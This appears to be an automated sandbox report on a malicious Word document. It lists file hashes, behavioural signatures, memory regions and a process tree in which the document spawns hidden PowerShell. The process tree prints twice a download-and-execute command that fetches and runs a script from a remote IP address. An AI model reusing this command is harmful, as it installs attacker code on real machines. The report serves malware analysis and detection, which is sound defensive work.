Analysis

  • max time kernel
    59s
  • max time network
    34s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25-05-2024 03:48

General

  • Target

    b57a7ae7713c20f440a05c90b304ce9a9bef9d06a0a09af7244d9127e0a6fbff.doc

  • Size

    35KB

  • MD5

    f9af364d20bbcdc7da8d6e7d923d4683

  • SHA1

    ca49e314cda4a715c39afd3bb0449661cf9163ce

  • SHA256

    b57a7ae7713c20f440a05c90b304ce9a9bef9d06a0a09af7244d9127e0a6fbff

  • SHA512

    3bcae8c1da6b5bc64bb5151059632305b40e0a0f9b042a008233a1a829bc33af9f5267d05e56875064105118e97b0228a15f99d1f48aac977d1bc7655a34de0a

  • SSDEEP

    192:i9nuUZEvAqetQy6/6rJ984woO+QHj180bYvTSuY8v250jvoMwAOgsZDOcw2piFTK:iB/iSJPw+QD18jSbR50jvoMMzs9qtv

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://16.16.100.239/pew

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b57a7ae7713c20f440a05c90b304ce9a9bef9d06a0a09af7244d9127e0a6fbff.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2812
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://16.16.100.239/pew'))
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://16.16.100.239/pew'))
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:668

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      7a243ac5d364890d6ddd90663e25b849

      SHA1

      cd2c4baf90534cc3d8fc0b69c2d3071f0a538ead

      SHA256

      78b453075818c289e5c012e25fc53dd1ccbc043b0ee74234a5dba7358ccdf296

      SHA512

      f13bc158aa3c815db800bc8be4bf70de4c30f677952ead2022e497069d00707f4665c001d851205e726bf6ed15f1559a673d83d4dbc55a995aec5c48c4d2622c

    • memory/668-82-0x00000000023A0000-0x00000000023A8000-memory.dmp

      Filesize

      32KB

    • memory/2776-81-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

      Filesize

      2.9MB

    • memory/2812-62-0x0000000000520000-0x0000000000620000-memory.dmp

      Filesize

      1024KB

    • memory/2812-0-0x000000002FB11000-0x000000002FB12000-memory.dmp

      Filesize

      4KB

    • memory/2812-61-0x0000000000520000-0x0000000000620000-memory.dmp

      Filesize

      1024KB

    • memory/2812-60-0x0000000000520000-0x0000000000620000-memory.dmp

      Filesize

      1024KB

    • memory/2812-59-0x0000000000520000-0x0000000000620000-memory.dmp

      Filesize

      1024KB

    • memory/2812-58-0x0000000000520000-0x0000000000620000-memory.dmp

      Filesize

      1024KB

    • memory/2812-70-0x0000000000520000-0x0000000000620000-memory.dmp

      Filesize

      1024KB

    • memory/2812-57-0x0000000000520000-0x0000000000620000-memory.dmp

      Filesize

      1024KB

    • memory/2812-2-0x0000000070E5D000-0x0000000070E68000-memory.dmp

      Filesize

      44KB

    • memory/2812-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2812-87-0x0000000070E5D000-0x0000000070E68000-memory.dmp

      Filesize

      44KB

    • memory/2812-88-0x0000000000520000-0x0000000000620000-memory.dmp

      Filesize

      1024KB

    • memory/2812-89-0x0000000000520000-0x0000000000620000-memory.dmp

      Filesize

      1024KB